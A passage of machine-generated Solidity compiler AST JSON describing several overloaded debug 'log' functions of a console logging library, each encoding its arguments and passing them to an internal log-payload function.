47500:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21370,"name":"string","nodeType":"ElementaryTypeName","src":"47500:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21373,"mutability":"mutable","name":"p2","nameLocation":"47523:2:14","nodeType":"VariableDeclaration","scope":21390,"src":"47518:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21372,"name":"bool","nodeType":"ElementaryTypeName","src":"47518:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21375,"mutability":"mutable","name":"p3","nameLocation":"47541:2:14","nodeType":"VariableDeclaration","scope":21390,"src":"47527:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21374,"name":"string","nodeType":"ElementaryTypeName","src":"47527:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"47490:54:14"},"returnParameters":{"id":21377,"nodeType":"ParameterList","parameters":[],"src":"47559:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21413,"nodeType":"FunctionDefinition","src":"47670:175:14","nodes":[],"body":{"id":21412,"nodeType":"Block","src":"47742:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c626f6f6c2c626f6f6c29","id":21404,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"47792:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_dc5e935b9ccf45ff13b5900aeaf3a593df3e9479fc07e9c213f5fcaa0951e91f","typeString":"literal_string \"log(bool,string,bool,bool)\""},"value":"log(bool,string,bool,bool)"},{"id":21405,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21392,"src":"47822:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21406,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21394,"src":"47826:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21407,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21396,"src":"47830:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21408,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21398,"src":"47834:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_dc5e935b9ccf45ff13b5900aeaf3a593df3e9479fc07e9c213f5fcaa0951e91f","typeString":"literal_string \"log(bool,string,bool,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":21402,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"47768:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21403,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"47772:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"47768:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21409,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47768:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21401,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"47752:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21410,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47752:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21411,"nodeType":"ExpressionStatement","src":"47752:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"47679:3:14","parameters":{"id":21399,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21392,"mutability":"mutable","name":"p0","nameLocation":"47688:2:14","nodeType":"VariableDeclaration","scope":21413,"src":"47683:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21391,"name":"bool","nodeType":"ElementaryTypeName","src":"47683:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21394,"mutability":"mutable","name":"p1","nameLocation":"47706:2:14","nodeType":"VariableDeclaration","scope":21413,"src":"47692:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21393,"name":"string","nodeType":"ElementaryTypeName","src":"47692:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21396,"mutability":"mutable","name":"p2","nameLocation":"47715:2:14","nodeType":"VariableDeclaration","scope":21413,"src":"47710:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21395,"name":"bool","nodeType":"ElementaryTypeName","src":"47710:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21398,"mutability":"mutable","name":"p3","nameLocation":"47724:2:14","nodeType":"VariableDeclaration","scope":21413,"src":"47719:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21397,"name":"bool","nodeType":"ElementaryTypeName","src":"47719:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"47682:45:14"},"returnParameters":{"id":21400,"nodeType":"ParameterList","parameters":[],"src":"47742:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21436,"nodeType":"FunctionDefinition","src":"47851:181:14","nodes":[],"body":{"id":21435,"nodeType":"Block","src":"47926:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c626f6f6c2c6164647265737329","id":21427,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"47976:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_538e06ab06366b189ea53da7c11628ee5730bc373b0bc64719bea1a2afab03c5","typeString":"literal_string \"log(bool,string,bool,address)\""},"value":"log(bool,string,bool,address)"},{"id":21428,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21415,"src":"48009:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21429,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21417,"src":"48013:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21430,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21419,"src":"48017:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21431,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21421,"src":"48021:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_538e06ab06366b189ea53da7c11628ee5730bc373b0bc64719bea1a2afab03c5","typeString":"literal_string \"log(bool,string,bool,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":21425,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"47952:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21426,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"47956:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"47952:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21432,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47952:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21424,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"47936:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21433,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47936:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21434,"nodeType":"ExpressionStatement","src":"47936:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"47860:3:14","parameters":{"id":21422,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21415,"mutability":"mutable","name":"p0","nameLocation":"47869:2:14","nodeType":"VariableDeclaration","scope":21436,"src":"47864:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21414,"name":"bool","nodeType":"ElementaryTypeName","src":"47864:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21417,"mutability":"mutable","name":"p1","nameLocation":"47887:2:14","nodeType":"VariableDeclaration","scope":21436,"src":"47873:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21416,"name":"string","nodeType":"ElementaryTypeName","src":"47873:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21419,"mutability":"mutable","name":"p2","nameLocation":"47896:2:14","nodeType":"VariableDeclaration","scope":21436,"src":"47891:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21418,"name":"bool","nodeType":"ElementaryTypeName","src":"47891:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21421,"mutability":"mutable","name":"p3","nameLocation":"47908:2:14","nodeType":"VariableDeclaration","scope":21436,"src":"47900:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21420,"name":"address","nodeType":"ElementaryTypeName","src":"47900:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"47863:48:14"},"returnParameters":{"id":21423,"nodeType":"ParameterList","parameters":[],"src":"47926:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21459,"nodeType":"FunctionDefinition","src":"48038:181:14","nodes":[],"body":{"id":21458,"nodeType":"Block","src":"48113:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c616464726573732c75696e7429","id":21450,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"48163:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_1b0b955b558cd224468bb20ba92b23519cb59fe363a105b00d7a815c1673c4ca","typeString":"literal_string \"log(bool,string,address,uint)\""},"value":"log(bool,string,address,uint)"},{"id":21451,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21438,"src":"48196:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21452,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21440,"src":"48200:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21453,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21442,"src":"48204:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21454,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21444,"src":"48208:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1b0b955b558cd224468bb20ba92b23519cb59fe363a105b00d7a815c1673c4ca","typeString":"literal_string \"log(bool,string,address,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":21448,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"48139:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21449,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"48143:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"48139:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21455,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48139:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21447,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"48123:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21456,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48123:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21457,"nodeType":"ExpressionStatement","src":"48123:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48047:3:14","parameters":{"id":21445,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21438,"mutability":"mutable","name":"p0","nameLocation":"48056:2:14","nodeType":"VariableDeclaration","scope":21459,"src":"48051:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21437,"name":"bool","nodeType":"ElementaryTypeName","src":"48051:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21440,"mutability":"mutable","name":"p1","nameLocation":"48074:2:14","nodeType":"VariableDeclaration","scope":21459,"src":"48060:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21439,"name":"string","nodeType":"ElementaryTypeName","src":"48060:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21442,"mutability":"mutable","name":"p2","nameLocation":"48086:2:14","nodeType":"VariableDeclaration","scope":21459,"src":"48078:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21441,"name":"address","nodeType":"ElementaryTypeName","src":"48078:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21444,"mutability":"mutable","name":"p3","nameLocation":"48095:2:14","nodeType":"VariableDeclaration","scope":21459,"src":"48090:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21443,"name":"uint","nodeType":"ElementaryTypeName","src":"48090:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"48050:48:14"},"returnParameters":{"id":21446,"nodeType":"ParameterList","parameters":[],"src":"48113:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21482,"nodeType":"FunctionDefinition","src":"48225:192:14","nodes":[],"body":{"id":21481,"nodeType":"Block","src":"48309:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c616464726573732c737472696e6729","id":21473,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"48359:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_12d6c788fea4d6144f2607e1e8821bec55a5c2dfdc4cece41a536f7b7831e7a7","typeString":"literal_string \"log(bool,string,address,string)\""},"value":"log(bool,string,address,string)"},{"id":21474,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21461,"src":"48394:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21475,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21463,"src":"48398:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21476,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21465,"src":"48402:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21477,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21467,"src":"48406:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_12d6c788fea4d6144f2607e1e8821bec55a5c2dfdc4cece41a536f7b7831e7a7","typeString":"literal_string \"log(bool,string,address,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":21471,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"48335:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21472,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"48339:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"48335:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21478,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48335:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21470,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"48319:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21479,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48319:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21480,"nodeType":"ExpressionStatement","src":"48319:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48234:3:14","parameters":{"id":21468,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21461,"mutability":"mutable","name":"p0","nameLocation":"48243:2:14","nodeType":"VariableDeclaration","scope":21482,"src":"48238:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21460,"name":"bool","nodeType":"ElementaryTypeName","src":"48238:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21463,"mutability":"mutable","name":"p1","nameLocation":"48261:2:14","nodeType":"VariableDeclaration","scope":21482,"src":"48247:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21462,"name":"string","nodeType":"ElementaryTypeName","src":"48247:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21465,"mutability":"mutable","name":"p2","nameLocation":"48273:2:14","nodeType":"VariableDeclaration","scope":21482,"src":"48265:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21464,"name":"address","nodeType":"ElementaryTypeName","src":"48265:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21467,"mutability":"mutable","name":"p3","nameLocation":"48291:2:14","nodeType":"VariableDeclaration","scope":21482,"src":"48277:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21466,"name":"string","nodeType":"ElementaryTypeName","src":"48277:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"48237:57:14"},"returnParameters":{"id":21469,"nodeType":"ParameterList","parameters":[],"src":"48309:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21505,"nodeType":"FunctionDefinition","src":"48423:181:14","nodes":[],"body":{"id":21504,"nodeType":"Block","src":"48498:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c616464726573732c626f6f6c29","id":21496,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"48548:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6dd434ca1fa26d491bcd72b7fe69eb72d41cae8eadbda5a7f985734e1b80c67d","typeString":"literal_string \"log(bool,string,address,bool)\""},"value":"log(bool,string,address,bool)"},{"id":21497,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21484,"src":"48581:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21498,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21486,"src":"48585:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21499,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21488,"src":"48589:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21500,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21490,"src":"48593:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6dd434ca1fa26d491bcd72b7fe69eb72d41cae8eadbda5a7f985734e1b80c67d","typeString":"literal_string \"log(bool,string,address,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":21494,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"48524:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21495,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"48528:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"48524:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21501,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48524:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21493,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"48508:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21502,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48508:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21503,"nodeType":"ExpressionStatement","src":"48508:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48432:3:14","parameters":{"id":21491,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21484,"mutability":"mutable","name":"p0","nameLocation":"48441:2:14","nodeType":"VariableDeclaration","scope":21505,"src":"48436:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21483,"name":"bool","nodeType":"ElementaryTypeName","src":"48436:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21486,"mutability":"mutable","name":"p1","nameLocation":"48459:2:14","nodeType":"VariableDeclaration","scope":21505,"src":"48445:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21485,"name":"string","nodeType":"ElementaryTypeName","src":"48445:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21488,"mutability":"mutable","name":"p2","nameLocation":"48471:2:14","nodeType":"VariableDeclaration","scope":21505,"src":"48463:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21487,"name":"address","nodeType":"ElementaryTypeName","src":"48463:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21490,"mutability":"mutable","name":"p3","nameLocation":"48480:2:14","nodeType":"VariableDeclaration","scope":21505,"src":"48475:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21489,"name":"bool","nodeType":"ElementaryTypeName","src":"48475:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"48435:48:14"},"returnParameters":{"id":21492,"nodeType":"ParameterList","parameters":[],"src":"48498:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21528,"nodeType":"FunctionDefinition","src":"48610:187:14","nodes":[],"body":{"id":21527,"nodeType":"Block","src":"48688:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c616464726573732c6164647265737329","id":21519,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"48738:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2b2b18dc50ecc75180f201de41eca533fbda0c7bf525c06b5b8e87bc1d010822","typeString":"literal_string \"log(bool,string,address,address)\""},"value":"log(bool,string,address,address)"},{"id":21520,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21507,"src":"48774:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21521,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21509,"src":"48778:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 